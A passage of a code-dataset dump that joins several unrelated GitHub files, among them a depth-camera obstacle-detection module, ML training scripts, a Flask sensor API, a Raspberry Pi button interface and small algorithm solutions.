pointWidth = 0\n \n #Populate Array with Data\n for h in range (0,height):\n\n for w in range (0,width):\n\n if image[h,w] <= pointValue:\n pointValue = image[h,w]\n pointHeight = h\n pointWidth = w\n \n results = [pointValue, pointWidth, pointHeight]\n \n return results\n\n #Closest point main function for collision avoidance.\n @threaded\n def closestPoint(self,streamURL,showStream):\n \n #Caculate Delay to prevent unneccesary processing\n delay = 1/self.fps\n name = \"Closest Point in Path Detection\"\n\n depth = cameraData(streamURL,name)\n frame = depth.getFrame()\n\n #Get Height and Width in Pixels of the Frame\n height = frame.shape[0]\n width = frame.shape[1]\n\n #Reduced Resolution\n mappedHeight = int(height/self.scaleFactor)\n mappedWidth = int(width/self.scaleFactor)\n\n cropPathWidth = int(200/self.scaleFactor)\n cropPathHeight = int(300/self.scaleFactor)\n\n x1 = int((mappedWidth/2) - (cropPathWidth/2))\n x2 = int(x1 + cropPathWidth)\n\n y1 = int(mappedHeight-cropPathHeight)\n y2 = int(mappedHeight)\n\n pathWidth = int(cropPathWidth*self.scaleFactor)\n pathHeight = int(cropPathHeight*self.scaleFactor)\n\n topW = int((width/2) - (pathWidth/2))\n topH = int(height - pathHeight)\n\n bottomW = int((width/2) + (pathWidth/2))\n bottomH = int(height)\n\n while 1:\n \n frame = depth.getFrame()\n\n #Ensure image is grayscale\n frame = cv.cvtColor(frame, cv.COLOR_BGR2GRAY)\n\n #Blur Image\n frame = cv.GaussianBlur(frame,(5,5),0)\n\n #Reduce Resolution of Kinetic Depth to a Managable Size\n resizedFrame = cv.resize(frame, (mappedWidth, mappedHeight), interpolation = cv.INTER_CUBIC)\n frame = cv.resize(resizedFrame, (width, height), interpolation = cv.INTER_CUBIC)\n resizedFrame = resizedFrame[y1:y2, x1:x2]\n\n #Scan Pixel by Pixel for Closest Point\n closestPoint = self.scanImage(resizedFrame)\n self.closestDistance = self.distanceCalc(closestPoint[0])\n \n #Set Max Speed with this reading\n #self.maxSpeed = self.calcMaxSpeed(self.closestDistance)\n\n if showStream == True:\n\n #Convert Back to Colour\n frame = cv.cvtColor(frame,cv.COLOR_GRAY2RGB) \n \n #Map Width and Height back to normal\n closestPoint[1] = int(topW + (closestPoint[1]*self.scaleFactor))\n closestPoint[2] = int(topH + (closestPoint[2]*self.scaleFactor))\n\n #Crosshair Calculations\n crosshairRatio = int(25/self.scaleFactor)\n crosshairHeight = int(mappedHeight/crosshairRatio)\n crosshairWidth = int(mappedWidth/crosshairRatio)\n \n #Horizontal Line\n cv.line(frame,((closestPoint[1]-crosshairWidth),closestPoint[2]),((closestPoint[1]+crosshairWidth),closestPoint[2]),(0,0,255),2)\n #Vertical Line\n cv.line(frame,(closestPoint[1],(closestPoint[2]-crosshairHeight)),(closestPoint[1],(closestPoint[2]+crosshairHeight)),(0,0,255),2)\n #Path Rectangle\n cv.rectangle(frame,(topW,topH),(bottomW,bottomH),(0,255,0),2)\n \n #Add text with details\n font = cv.FONT_HERSHEY_SIMPLEX\n text = 'Closest Point is ' + str(self.closestDistance) +'m away.'\n cv.putText(frame,text,(topW,(topH-5)), font, 0.4,(0,0,255),1,cv.LINE_AA)\n\n cv.imshow(name,frame)\n\n #Quit program when 'esc' key is pressed\n k = cv.waitKey(5) & 0xFF\n if k == 27:\n break\n\n time.sleep(delay)\n \n @threaded\n def plotPointCloud(self,pointCloud):\n\n # Data for three-dimensional scattered points\n z,x,y = pointCloud.nonzero()\n\n fig = plt.figure()\n ax = fig.add_subplot(111, projection='3d')\n ax.scatter(x, -y, -z, zdir='z', c= 'blue')\n #ax.view_init(60, 35)\n\n #Label Map\n ax.set_xlabel('Length Units')\n ax.set_ylabel('Width Units')\n ax.set_zlabel('Hieght Units')\n\n \n #Create a file for each frame depending on time\n currentDateTime = time.strftime(\"%d%m%Y-%H%M%S\")\n filename = \"data\\pointCloudPlots\\Point Cloud Plot -\" + currentDateTime + \".png\"\n plt.savefig(filename)\n\n print(\"STATUS: 3D Point Cloud Plotted\")\n \n @threaded\n def writeCSV(self,pointCloud):\n\n arrayDimensions = pointCloud.shape\n\n #Create a file for each frame depending on time\n currentDateTime = time.strftime(\"%d%m%Y-%H%M%S\")\n filename = \"data\\pointCloudData\\Point Cloud Data -\" + currentDateTime + \".csv\"\n\n #create a CSV file for the frame data \n pointCloudFile = open(filename,\"w+\")\n dataEntry = \"X,Y,Z\\n\"\n pointCloudFile.write(dataEntry)\n\n print(\"INFO: The dimensions of the inputted array are \",arrayDimensions)\n #Write data into CSV file\n for x in range (0,arrayDimensions[0]):\n\n for y in range (0,arrayDimensions[1]):\n\n for z in range (0,arrayDimensions[2]):\n\n if pointCloud[x,y,z] != 0:\n \n #create a data entry\n dataEntry = str(x) + \",\" + str(y) + \",\" + str(z) + \"\\n\"\n pointCloudFile.write(dataEntry)\n \n pointCloudFile.close()\n\n #Returns infomraiton about how far away a point is in and image\n @staticmethod\n def distanceCalc(depth):\n \n #Tan Approx\n distance = 0.1236 * np.tan(depth / 2842.5 + 1.1863) \n #First Order Approx\n distance = -0.00307 * depth + 3.33\n\n return distance","repo_name":"ryanmccartney/Autonomous_Electric_Wheelchair","sub_path":"navigation/navigation.py","file_name":"navigation.py","file_ext":"py","file_size_in_byte":8406,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"2"} +{"seq_id":"15232913462","text":"from nltk.corpus import stopwords\nfrom nltk.tokenize import word_tokenize\n\ndata = input(\"Please enter sentence: \")\n\nstop_words = set(stopwords.words('english'))\n\nwords_token = word_tokenize(data)\n\nwords_filtered = []\n\nfor w in words_token:\n if w not in stop_words:\n words_filtered.append(w)\n\nprint(\"Words in the sentence\")\nprint(words_token)\nprint(\"After filtering\")\nprint(words_filtered)\n","repo_name":"ahmetkorkmaz3/nltk-stopwords","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":399,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"39834295098","text":"import numpy as np\nfrom sklearn.model_selection import KFold\nimport math\nimport matplotlib.pyplot as plt\n\ndata_100 = []\nfor i in range(100):\n\tdata_100.append(i)\ndata_100 = np.array(data_100)\n\ndata_10000 = []\nfor i in range(10000):\n\tdata_10000.append(i)\ndata_10000 = np.array(data_10000)\n\npoints_100 = []\npoints_10000 = []\nmu = 0\nsigma = 1\nerror_100 = np.random.normal(mu, sigma, 100)\nerror_10000 = np.random.normal(mu, sigma, 10000)\n\nfor x in range(100):\n\tpoints_100.append((x, math.sin(x) + error_100[x]))\n\nfor x in range(10000):\n\tpoints_10000.append((x, math.sin(x) + error_10000[x]))\n\nfolds = []\nfor i in range(2, 100):\n\tif(100 % i == 0):\n\t\tfolds.append(i)\n\nmean_var_100 = []\n\nfor fold_num in folds:\n\tkfold = KFold(fold_num, True, 1)\n\n\tfold_means = []\n\n\tfor train, test in kfold.split(data_100):\n\t\tsample_errs = [error_100[i] for i in data_100[train]]\n\t\tfold_means.append(np.mean(np.array(sample_errs)))\n\n\tmean = np.mean(fold_means)\n\tvar = np.var(fold_means)\n\tmean_var_100.append((fold_num, mean, var))\n\nprint(mean_var_100)\n\nfolds = []\nfor i in range(2, 10000):\n\tif(10000 % i == 0):\n\t\tfolds.append(i)\n\nmean_var_10000 = []\n\nfor fold_num in folds:\n\tkfold = KFold(fold_num, True, 1)\n\n\tfold_means = []\n\n\tfor train, test in kfold.split(data_10000):\n\t\tsample_errs = [error_10000[i] for i in data_10000[train]]\n\t\tfold_means.append(np.mean(np.array(sample_errs)))\n\n\tmean = np.mean(fold_means)\n\tvar = np.var(fold_means)\n\tmean_var_10000.append((fold_num, mean, var))\n\nprint(mean_var_10000)\n\n# Plotting stdevs\nx = [a[0] for a in mean_var_100]\ny_dev = [a[2] for a in mean_var_100]\ny_mean = [a[1] for a in mean_var_100]\n\nx_b = [a[0] for a in mean_var_10000]\ny_b_dev = [a[2] for a in mean_var_10000]\ny_b_mean = [a[1] for a in mean_var_10000]\n\nfig = plt.figure()\n\np_1 = fig.add_subplot(221, title='100 Points: Error Variance v/s K - Using all values of K')\np_1.plot(x, y_dev, 'o', linestyle = '--', color = 'r')\np_2 = fig.add_subplot(222, title='100 Points: Error Mean v/s K - Using all values of K')\np_2.plot(x, y_mean,'o', linestyle = '--', color = 'r')\n\n\np_3 = fig.add_subplot(223, title='10000 Points: Error Variance v/s K')\np_3.plot(x_b, y_b_dev, 'o', linestyle = '--', color = 'r')\np_4 = fig.add_subplot(224, title='10000 Points: Error Mean v/s K')\np_4.plot(x_b, y_b_mean,'o', linestyle = '--', color = 'r')\n\nplt.show()\n","repo_name":"sayarghoshroy/Inside_Cross_Val","sub_path":"error_vs_K.py","file_name":"error_vs_K.py","file_ext":"py","file_size_in_byte":2314,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"22513040693","text":"import torch\nimport torch.nn as nn\nimport torch.optim as optim\nfrom torchvision.transforms import transforms\nfrom torchvision.models import resnet50\nfrom torchvision.models import ResNet50_Weights\nfrom custom_utils import AlzheimerDataset\nfrom torch.utils.data import DataLoader\n\nimport pandas as pd\n\n\n# Pretrained Model \nmodel = resnet50(weights=ResNet50_Weights.DEFAULT)\n\nfor param in model.parameters():\n param.require_grad = False\n\nmodel.conv1 = nn.Conv2d(1, 64, kernel_size=(7, 7), stride=(2, 2), padding=(3, 3), bias=False)\nmodel.fc = nn.Sequential(\n nn.Linear(in_features=2048, out_features=1000, bias=True),\n nn.Linear(in_features=1000, out_features=4, bias=True)\n)\n\n\n# Hyperparameters\ndevice = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\nEPOCHS = 30\nBATCH_SIZE = 16\nNUM_CLASSES = 4\nlr = 1e-4\n\n# loss function\ncriterion = nn.CrossEntropyLoss()\n\n# Optimizer\noptimizer = optim.Adam(params=model.parameters(), lr=lr)\n\nmodel.to(device)\n\n# Transforms\ntransform = transforms.Compose([\n transforms.Resize((224, 224)),\n transforms.ToTensor()\n])\n\n# Dataset\ndataframe = pd.read_csv(\"Dataset/train.csv\")\ndataset = AlzheimerDataset(dataframe, transform=transform)\ndataloader = DataLoader(dataset=dataset, batch_size=BATCH_SIZE, shuffle=True)\n\n\n# Training loop\nfor epoch in range(EPOCHS):\n for img, label in dataloader:\n # print(img.shape)\n # break\n y_pred = model(img)\n loss = criterion(y_pred, label)\n\n print(f\"EPOCHS={epoch}/{EPOCHS}\\tLOSS={loss}\")\n \n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n","repo_name":"ariyaltharun/alzheimer-detection-and-classification","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":1605,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"40395130594","text":"from collections import deque\n\nn, m = map(int, input().split())\nfriend = [[] for _ in range(n + 1)]\n\nfor _ in range(m):\n a, b = map(int, input().split())\n friend[a].append(b)\n friend[b].append(a)\n\nq = deque()\ncnt = 99\n\nfor i in range(1, n + 1):\n visited = [-1 for _ in range(n + 1)]\n visited[i] = 0\n q.append(i)\n while q:\n p = q.popleft()\n adj = friend[p] # 인접 목록\n for j in adj:\n if visited[j] == -1:\n q.append(j)\n visited[j] = visited[p] + 1\n\n val = min(sum(visited) + 1, cnt)\n if cnt > val:\n cnt = val\n ans = i\n\nprint(ans)\n","repo_name":"dkdlel6887/Algorithm","sub_path":"BaekJoon/BKJ_1389_케빈베이컨.py","file_name":"BKJ_1389_케빈베이컨.py","file_ext":"py","file_size_in_byte":637,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"27194620024","text":"import os\nimport random\nimport argparse\nfrom copy import deepcopy\n\nimport torch\nimport torch.nn as nn\nimport torchvision\n\nimport ray\nfrom ray import tune\nfrom ray.tune import Trainable\n\nfrom lib.augmentations import apply_augment\n\n\nclass TrainCIFAR(Trainable):\n def _setup(self, config):\n args = config.pop(\"args\")\n args.device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n\n self.val_loader = config.pop(\"dataloader\")\n augs = [[config[\"aug1\"], config[\"p1\"], config[\"value1\"]],\n [config[\"aug2\"], config[\"p2\"], config[\"value2\"]]]\n self.val_loader.dataset.transform.transforms.insert(0, Augmentation(augs))\n self.model = config[\"model\"].to(args.device)\n\n self.criterion = nn.CrossEntropyLoss().to(args.device)\n self.args = args\n\n def _train(self):\n return self._test()\n\n def _test(self):\n val_loss = 0\n total = 0\n correct = 0\n self.model.eval()\n with torch.no_grad():\n for _ in range(3):\n for i, (inputs, targets) in enumerate(self.val_loader):\n inputs = inputs.to(self.args.device)\n targets = targets.to(self.args.device)\n outputs = self.model(inputs)\n loss = self.criterion(outputs, targets)\n\n val_loss += loss.item()\n _, predicted = outputs.max(1)\n total += targets.size(0)\n correct += predicted.eq(targets).sum().item()\n return {\"mean_accuracy\": 100.*correct/total, \"mean_loss\": val_loss/(i+1)/2}\n\n def _save(self, checkpoint_dir):\n return\n\n def _restore(self, checkpoint):\n return\n\n\nclass Augmentation(object):\n def __init__(self, policy):\n self.policy = policy\n\n def __call__(self, img):\n for name, pr, level in self.policy:\n if random.random() > pr:\n continue\n img = apply_augment(img, name, level)\n return img\n","repo_name":"ktkth5/fast-autoaugment","sub_path":"trainable.py","file_name":"trainable.py","file_ext":"py","file_size_in_byte":2024,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"2"} +{"seq_id":"32260164404","text":"import sys\ninput = sys.stdin.readline\n\n############ ---- Input Functions ---- ############\ndef inp(): \n # one integer\n return int(input())\ndef input_list():\n # list of integers\n return list(map(int,input().split()))\ndef input_string():\n # list of characters\n s = input()\n return list(s[:len(s) - 1])\ndef input_int_gen():\n # integer generator \n return map(int,input().split())\n\n# Codeforces Global Round 16 B\ntests = inp()\nfor _ in range(tests):\n n = input_string()\n n = [int(x) for x in n]\n runs_of_zero = 0\n zero = False\n one = False\n for i in n:\n if i == 1:\n one = True\n zero = False\n else:\n if not zero:\n runs_of_zero += 1\n zero = True\n if not one:\n print(1)\n elif runs_of_zero == 0:\n print(0)\n elif runs_of_zero == 1:\n print(1)\n else:\n print(2)\n \n ","repo_name":"madun1999/compprog","sub_path":"Codeforce Global Round 16/B.py","file_name":"B.py","file_ext":"py","file_size_in_byte":924,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"8142046557","text":"from PIL import Image, ImageDraw\nimport sys\nimport os\nimport string, random\n\ndef hexToRGBList(hexCode):\n hexCode = hexCode.lstrip(\"#\")\n rgbToReturn = list(int(hexCode[i:i+2], 16) for i in (0, 2, 4))\n rgbToReturn.append(255)\n rgbToReturn = tuple(rgbToReturn)\n return rgbToReturn\n\ndef parseMapCode(code):\n try:\n codeList1 = code.split(\",\")\n codeList2 = []\n for code in codeList1:\n codeList2.append(code.split(\"=\"))\n codeList3 = []\n for code in codeList2:\n codeList3.append([(int(code[0].split(\".\")[0]), int(code[0].split(\".\")[1])), hexToRGBList(code[1])])\n except:\n print(\"error parsing map code\")\n sys.exit()\n\n return codeList3\n\ndef generateImageFileName():\n filenameToCheck = ''.join(random.choices(string.ascii_uppercase + string.digits, k=20)) + \".png\"\n\n if os.path.isfile(\"mapImages/\" + filenameToCheck):\n return generateImageFileName()\n else:\n return filenameToCheck\n \nmapCodeList = parseMapCode(sys.argv[1])\nnumberOfTilesNotBlank = len(mapCodeList)\n\nimage = Image.open(\"mapImages/epic-map.png\").convert(\"RGBA\")\n\nfor fill in mapCodeList:\n ImageDraw.floodfill(image, fill[0], fill[1])\n\nimageFilenameAndPath = \"mapImages/\" + generateImageFileName()\nimage.save(imageFilenameAndPath)\nprint(imageFilenameAndPath + \"|\" + str(numberOfTilesNotBlank))\nsys.stdout.flush()","repo_name":"Mapgame-Hosting-Project/mapgame-hosting-project-npm-package","sub_path":"generate-map.py","file_name":"generate-map.py","file_ext":"py","file_size_in_byte":1389,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"28933575730","text":"from flask import Flask, jsonify, abort, request, json\nfrom sqlalchemy import desc, func\nfrom sqlalchemy.orm.exc import NoResultFound\nfrom db.models import db, Meta, Sensordata, meta_schema, metas_schema, sensordata_schema, sensordatas_schema\n\napp = Flask(__name__)\n\napp.config.from_pyfile('conf/psql-config.py')\ndb.init_app(app)\n\n@app.before_first_request\ndef create_database():\n db.create_all()\n\n@app.route('/api/v1/sensors/', methods = ['GET'])\ndef get_all_sensors():\n s = Meta.query.all()\n # serialize the queryset\n result = metas_schema.dump(s)\n return jsonify({'sensors': result.data})\n\n\n@app.route('/api/v1/sensors/', methods = ['GET'])\ndef get_sensor(id):\n try:\n # m = Meta.query.get(id)\n # in order to fetch NoResultFound exception it is neccessary to query the primary key as follows:\n m = Meta.query.filter_by(sid=id).one()\n meta_result = meta_schema.dump(m)\n return jsonify({'sensors': meta_result.data})\n except NoResultFound:\n return jsonify({\"message\": \"Sensor could not be found.\"}), 400\n\n@app.route('/api/v1/sensors//data/', methods = ['GET'])\ndef get_all_data_sensor(id):\n try:\n m = Meta.query.filter_by(sid=id).one()\n meta_result = meta_schema.dump(m)\n sensor_result = sensordatas_schema.dump(m.sensordata.all())\n return jsonify({'sensors': meta_result.data, 'data': sensor_result.data})\n except NoResultFound:\n return jsonify({\"message\": \"Sensor could not be found.\"}), 400\n\n# to be implemented\n# @app.route(\"/api/v1/sensors/data/latest\")\n# def get_latest_data_all_sensors():\n\n@app.route(\"/api/v1/sensors//data/latest\", methods = ['GET'])\ndef get_latest_data_sensor(id):\n try:\n m = Meta.query.filter_by(sid=id).one()\n meta_result = meta_schema.dump(m)\n # query the latest unix_epoch for this \n # order_by: unix_epoch descending\n # with_entities: only return column unix_epoch\n # first(): only get first entry\n qry = Sensordata.query.filter_by(sid=id).order_by(desc('unix_epoch')).with_entities('unix_epoch').first()\n # convert this entry into a scalar representation that can be used for filtering\n max = db.session.query(db.func.max(qry)).scalar()\n sensor_result = sensordatas_schema.dump(m.sensordata.filter_by(unix_epoch=max))\n return jsonify({'sensors': meta_result.data, 'data': sensor_result.data})\n except NoResultFound:\n return jsonify({\"message\": \"Sensor could not be found.\"}), 400\n\n\n\nif __name__ == '__main__':\n app.run(debug=True, host='0.0.0.0', port=8080)\n","repo_name":"wipatrick/flask-restapi","sub_path":"api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":2616,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"2"} +{"seq_id":"39145222010","text":"#!/usr/bin/env python3\ntry:\n\tfrom RPi import GPIO\nexcept RuntimeError:\n\tpass\nimport atexit\nimport termios, tty, sys\nimport logging\n\nclass Button(object):\n\t\"\"\"a physical button\"\"\"\n\tdef __init__(self, pin):\n\t\tsuper(Button, self).__init__()\n\t\tself.pin = pin\n\t\tGPIO.setup(pin, GPIO.IN, pull_up_down=GPIO.PUD_UP)\n\n\tdef listen(self, callback):\n\t\tGPIO.add_event_detect(self.pin, GPIO.FALLING, callback=callback, bouncetime=200)\n\tdef stop_listening(self):\n\t\tGPIO.remove_event_detect(self.pin)\n\n\n\nclass Button_Interface(object):\n\t\"\"\"using Pi's GPIO for interacting\"\"\"\n\tdef __init__(self, pins):\n\t\tsuper(Button_Interface, self).__init__()\n\t\tself.pins = pins\n\t\tself.buttons = []\n\t\tGPIO.setmode(GPIO.BOARD)\n\t\tatexit.register(self.cleanup)\n\t\t#GPIO.setup(pins, GPIO.IN, pull_up_down=GPIO.PUD_UP)\n\t\tfor p in pins:\n\t\t\tself.buttons.append(Button(p))\n\n\tdef cleanup(self):\n\t\tGPIO.cleanup()\n\n\tdef listen(self, event_callback):\n\t\t\"\"\"Synchronously waits for main button press\n\t\t\twhile other buttons are handled in another thread\n\t\t\"\"\"\n\t\tSCAN_BTN=16\n\t\tmenu_btns = [b for b in self.buttons if b.pin != SCAN_BTN]\n\t\tself.event_callback = event_callback\n\t\tlogging.debug(\"enabling buttons\")\n\t\tfor b in menu_btns:\n\t\t\tb.listen(self.button_press)\n\t\tlogging.debug(\"waiting for scan button\")\n\t\tGPIO.wait_for_edge(SCAN_BTN, GPIO.FALLING)\n\t\tlogging.debug(\"scan button pressed\")\n\t\tlogging.debug(\"disabling buttons\")\n\t\tfor b in menu_btns:\n\t\t\tb.stop_listening()\n\t\tevent_callback(\"scan\")\n\n\tdef button_press(self,pin):\n\t\tif pin == 11:\n\t\t\tself.event_callback(\"up\")\n\t\telif pin == 13:\n\t\t\tself.event_callback(\"down\")\n\t\telif pin == 15:\n\t\t\tself.event_callback(\"enter\")\n\t\t#elif pin == 16: #SCAN\n\t\t# not handling scan press in thread because\n\t\t# self.buttons[x].stop_listening crashes on Pi Zero\n\nclass Keys_Interface(object):\n\t\"\"\"Keyboard interface for interacting via terminal (e.g. desktop testing)\"\"\"\n\tdef __init__(self):\n\t\tsuper(Keys_Interface, self).__init__()\n\t\tself.old_term_stg = termios.tcgetattr(sys.stdin.fileno())\n\t\tatexit.register(self.cleanup)\n\n\tdef cleanup(self):\n\t\ttermios.tcsetattr(sys.stdin.fileno(), termios.TCSADRAIN, self.old_term_stg)\n\n\tdef listen(self, event_callback):\n\t\ttry:\n\t\t\ttty.setraw(sys.stdin.fileno())\n\t\t\tch = sys.stdin.read(1)\n\t\t\tif ch == \"\\x1b\":\n\t\t\t\tar = sys.stdin.read(2)\n\t\t\t\tch = ch+ar\n\t\tfinally:\n\t\t\ttermios.tcsetattr(sys.stdin.fileno(), termios.TCSADRAIN, self.old_term_stg)\n\t\t\n\t\tif ch == \"\\x1b[A\":\n\t\t\tevent_callback(\"up\")\n\t\telif ch == \"\\x1b[B\":\n\t\t\tevent_callback(\"down\")\n\t\telif ch == \"\\r\":\n\t\t\tevent_callback(\"enter\")\n\t\telif ch == \" \":\n\t\t\tevent_callback(\"scan\")\n\t\telif ch == \"\\x03\":\n\t\t\traise KeyboardInterrupt\n","repo_name":"pzl/quickscan","sub_path":"sccontrol/ui.py","file_name":"ui.py","file_ext":"py","file_size_in_byte":2600,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"17643086296","text":"#coding:utf-8\nimport xlrd\nimport xlwt\nfrom xlutils.copy import copy\n\n#data_excel = xlrd.open_workbook('config/interfaceCase.xlsx')\n#tables = data_excel.sheet_by_index(0) #获取第一个sheet\n#print(tables.nrows) #打印sheet的列数\n#print(tables.cell(2,2))#\n\nclass OperationExcel:\n def __init__(self,filename=None,sheet_id=None):\n self.filename = filename\n if sheet_id == None:\n self.sheet_id = 0\n else:\n self.sheet_id = sheet_id\n self.table = self.get_table()\n #获取表的内容\n def get_table(self):\n data_excel = xlrd.open_workbook(self.filename)\n table = data_excel.sheet_by_index(self.sheet_id)\n return table\n #获取表的行数\n def get_lines(self):\n table = self.get_table()\n return table.nrows\n #获取某个单元格的内容\n def get_cell(self,row,col):\n return self.get_table().cell(row,col).value\n #单元格写入内容\n def write_cell(self,row,col,value):\n #写入excel\n book1 = xlrd.open_workbook(self.filename)\n book2 = copy(book1)\n sheet = book2.get_sheet(0)\n sheet.write(row,col,value)\n book2.save(self.filename)\n\n\n\n\n\nif __name__ ==\"__main__\":\n oper = OperationExcel('E:/20181213基础/接口/unittest/Base/config/interfaceCase.xlsx',0)\n tables = oper.get_table()\n print(oper.get_lines())\n print(oper.get_cell(2,2))\n print(oper.write_cell(2,11,'tongugo'))\n print(oper.get_cell(2,11))\n\n","repo_name":"joanguo123456/Testing","sub_path":"Test1/Util/ExcelDemo.py","file_name":"ExcelDemo.py","file_ext":"py","file_size_in_byte":1489,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"69899248688","text":"\"\"\"\nNOTE: old version: normalization after splitting (and odd way of calculating standard deviation and SEM)\nNOTE: this won't work unless moved out of the old folder\n\"\"\"\nimport math\nimport os\n\nimport numpy as np\nimport pandas as pd\n# from keras.callbacks import History # for input argument type check\nfrom matplotlib import pyplot as plt\nfrom sklearn.datasets.samples_generator import make_blobs\nfrom sklearn.metrics import accuracy_score, mean_squared_error, r2_score\n# StratifiedKFold should be used for classification problems\n# StratifiedKFold makes sure the fold has an equal representation of the classes\n# from sklearn.model_selection import KFold\nfrom custom_functions.custom_exceptions import (NpArrayShapeError,\n PdDataFrameTypeError)\nfrom custom_functions.cv_functions import (idx_func, longitudinal_cv_xy_array,\n lstm_cv_train, lstm_ensemble_eval,\n lstm_ensemble_predict)\nfrom custom_functions.data_processing import (inverse_norm_y,\n training_test_spliter)\nfrom custom_functions.plot_functions import y_yhat_plot\nfrom custom_functions.util_functions import logging_func\n\n\n# ------ test functions ------\n\n\n# ------ data processing ------\n# ---- working directory\nmain_dir = os.path.abspath('./')\ndat_dir = os.path.join(main_dir, 'data')\nres_dir = os.path.join(main_dir, 'results')\nlog_dir = os.path.join(main_dir, 'log')\n\n# ---- setup logger\nlogger = logging_func(filepath=os.path.join(\n log_dir, 'test.log'))\n\n# ---- import data\nraw = pd.read_csv(os.path.join(\n dat_dir, 'lstm_aec_phases_freq6_new.csv'), engine='python')\nraw.iloc[0:5, 0:5]\ny = np.array(raw.loc[:, 'PCL'])\n\n# ---- key variable\nn_features = 12\nn_folds = 10\n\n# ---- generate training and test sets with min-max normalization\ntraining, test, scaler_X, scaler_Y = training_test_spliter(\n data=raw, training_percent=0.9, random_state=10, min_max_scaling=True,\n scale_column_as_y=['PCL'],\n scale_column_to_exclude=['subject', 'PCL', 'group'])\n\n# -- optional: fixed training/test split --\n# theta\ntraining, test, scaler_X, scaler_Y = training_test_spliter(\n data=raw, man_split=True, man_split_colname='subject', man_split_testset_value=['PN14', 'PN27', 'PP13'],\n min_max_scaling=True,\n scale_column_as_y=['PCL'],\n scale_column_to_exclude=['subject', 'PCL', 'group'])\n\n# alpha\ntraining, test, scaler_X, scaler_Y = training_test_spliter(\n data=raw, man_split=True, man_split_colname='subject', man_split_testset_value=['PN10', 'PN27', 'PP10'],\n min_max_scaling=True,\n scale_column_as_y=['PCL'],\n scale_column_to_exclude=['subject', 'PCL', 'group'])\n\n# beta\ntraining, test, scaler_X, scaler_Y = training_test_spliter(\n data=raw, man_split=True, man_split_colname='subject', man_split_testset_value=['PN09', 'PN14', 'PP20'],\n min_max_scaling=True,\n scale_column_as_y=['PCL'],\n scale_column_to_exclude=['subject', 'PCL', 'group'])\n\n# low gamma one\ntraining, test, scaler_X, scaler_Y = training_test_spliter(\n data=raw, man_split=True, man_split_colname='subject', man_split_testset_value=['PN11', 'PP12', 'PP15'],\n min_max_scaling=True,\n scale_column_as_y=['PCL'],\n scale_column_to_exclude=['subject', 'PCL', 'group'])\n\n# low gamma two\ntraining, test, scaler_X, scaler_Y = training_test_spliter(\n data=raw, man_split=True, man_split_colname='subject', man_split_testset_value=['PN08', 'PP12', 'PP18'],\n min_max_scaling=True,\n scale_column_as_y=['PCL'],\n scale_column_to_exclude=['subject', 'PCL', 'group'])\n\n# low gamma three\ntraining, test, scaler_X, scaler_Y = training_test_spliter(\n data=raw, man_split=True, man_split_colname='subject', man_split_testset_value=['PN09', 'PN17', 'PP21'],\n min_max_scaling=True,\n scale_column_as_y=['PCL'],\n scale_column_to_exclude=['subject', 'PCL', 'group'])\n\n# high gamma\ntraining, test, scaler_X, scaler_Y = training_test_spliter(\n data=raw, man_split=True, man_split_colname='subject', man_split_testset_value=['PN10', 'PN19', 'PP03'],\n min_max_scaling=True,\n scale_column_as_y=['PCL'],\n scale_column_to_exclude=['subject', 'PCL', 'group'])\n\n\n# procesing\ntrainingX, trainingY = longitudinal_cv_xy_array(input=training, Y_colnames=['PCL'],\n remove_colnames=['subject', 'group'], n_features=n_features)\ntestX, testY = longitudinal_cv_xy_array(input=test, Y_colnames=['PCL'],\n remove_colnames=['subject', 'group'], n_features=n_features)\n\n# below: as an example for converting the normalized Y back to measured values\n# _, testY = inverse_norm_y(training_y=trainingY, test_y=testY, scaler=scaler_Y)\n# ---- test k-fold data sampling\ncv_train_idx, cv_test_idx = idx_func(input=training, n_features=n_features, Y_colnames=['PCL'],\n remove_colnames=['subject', 'group'], n_folds=n_folds, random_state=21)\n\ntrainingX.shape # n_samples x n_timepoints x n_features\ntrainingY.shape # 29x1\nlen(cv_train_idx[0]) # 26\n\n# ------ cross-validation modelling ------\ncv_m_ensemble, cv_m_history_ensemble, cv_m_test_rmse_ensemble, cv_m_test_rsq_ensemble = list(\n), list(), list(), list()\nfor i in range(n_folds):\n fold_id = str(i+1)\n print('fold: ', fold_id)\n cv_train_X, cv_train_Y = trainingX[cv_train_idx[i]\n ], trainingY[cv_train_idx[i]]\n cv_test_X, cv_test_Y = trainingX[cv_test_idx[i]], trainingY[cv_test_idx[i]]\n cv_m, cv_m_history, cv_m_test_rmse, cv_m_test_rsq = lstm_cv_train(trainX=cv_train_X, trainY=cv_train_Y,\n testX=cv_test_X, testY=cv_test_Y,\n lstm_model='stacked',\n output_activation='sigmoid',\n hidden_units=6, epochs=300, batch_size=29,\n plot=True,\n filepath=os.path.join(\n res_dir, 'cv_simple_loss_fold_'+fold_id+'.pdf'),\n plot_title=None,\n xlabel=None,\n ylabel=None,\n verbose=False)\n cv_m_ensemble.append(cv_m)\n cv_m_history_ensemble.append(cv_m_history)\n cv_m_test_rmse_ensemble.append(cv_m_test_rmse)\n cv_m_test_rsq_ensemble.append(cv_m_test_rsq)\n\ncv_rmse_mean = np.mean(cv_m_test_rmse_ensemble)\ncv_rmse_sem = np.std(cv_m_test_rmse_ensemble)/math.sqrt(n_folds)\ncv_rsq_mean = 